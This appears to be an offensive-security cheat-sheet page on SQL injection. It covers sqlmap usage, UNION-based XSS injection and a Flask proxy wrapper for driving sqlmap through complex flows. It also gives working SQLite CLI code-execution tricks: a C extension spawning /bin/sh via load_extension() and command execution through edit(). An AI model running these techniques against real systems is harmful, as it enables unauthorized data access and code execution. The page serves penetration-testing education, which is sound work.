SQL Injection

An infamous and simple attack where code is injected where data should be, rewriting the SQL Query

SQLMap

You can run a raw request through sqlmap with cookies and POST to find any injection:

$ sqlmap -r r.txt --batch
  • --level=5 tests more inputs, like HTTP headers

  • --risk=3 tests more injection payloads

XSS/SQLi through SQL Injection

Use UNION SELECT statements to alter the returned content on the site, with an XSS payload for example.

Also try 'Second-Order' injection, by doing another injection inside of your UNION content if not all values can be altered (see the writeup above)

Filter Bypass

Some scenarios where you can bypass character limits using functions or special syntax. + here means supported in more than just the mentioned DB backend.

Custom Wrapper (complex injections)

While most inputs are as simple as a query or body parameter, not all flows are like this. Interactions sometimes require special headers or formatting of the input, or the result of your action might only be visible on a different page. In these scenarios, SQLMap can fall short in its customization because it simply does not support everything.

One clever solution to this is from a case where the hacker had to automate a blind SQL injection over a websocket. These are normally not possible in SQLMap, so you might think you need to create a custom script to extract all data slowly. While this is possible, an easier alternative is to create a wrapper script that makes it easy for SQLMap.

By creating a simple web server with a single query parameter as the payload, you can implement the full interaction in Python and then send back the result to SQLMap. You may do this for any kind of complex interaction with a server like this:

proxy.py
from flask import Flask, request
import requests

app = Flask(__name__)

def interact(payload):
    print(f"Payload: {payload}")
    # Example complex interaction
    requests.post("https://example.com/save", json={"input": payload})
    r = requests.get("https://example.com/get_result")
    return r.text

@app.route('/')
def index():
    payload = request.args.get('id')
    return interact(payload)

if __name__ == '__main__':
    app.run(debug=False)

Then run your server locally, and target it instead of the regular target to proxy the traffic with your custom format and logic:

sqlmap -u 'http://localhost:5000/?id=1'

Warning: Performing this technique multiple times may make SQLMap cache results from a previous run because the same localhost URL is used. To ensure it starts completely fresh, clear the session every time using the --flush-session argument.

SQLite

Tricks specific to the SQLite database backend.

RCE through CLI

While looking through the documentation, you might notice functions that seem to have the ability to run arbitrary code on the system. The catch is that these methods are only possible using the sqlite3 CLI tool by default, only with some very specific configuration will they be available through a normal library that uses the safer C-API behind the scenes.

SQLite uses the C-API for all the heavy work, and the CLI as well as libraries are just wrappers over this. The load_extension() function is special as it can only be called after calling the enable_load_extension() function from the C-API, which is not available in SQL syntax. Fortunately, the CLI enables this automatically which means that if we are able to inject code into such a query, we can load extensions.

These extensions are simply compiled C code in the form of .so files, with an init function:

extension.c
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

#include <stdlib.h>
#include <unistd.h>

int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
  SQLITE_EXTENSION_INIT2(pApi);

  execve("/bin/sh", NULL, NULL);  // Spawn an interactive shell

  return SQLITE_OK;
}
$ gcc -s -g -fPIC -shared extension.c -o extension.so

Then from inside a CLI query, we can call the function with a path to the compiled extension:

sqlite> select load_extension('./extension');
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

The CLI also includes an extra special function used for editing data interactively, which allows its 2nd argument to decide what command to run! It is very straightforward to exploit:

sqlite> select edit(1,'id;');
uid=1001(user) gid=1001(user) groups=1001(user)
sh: 1: temp9385525e2ea5301f: not found
Error: EDITOR returned non-zero

Last updated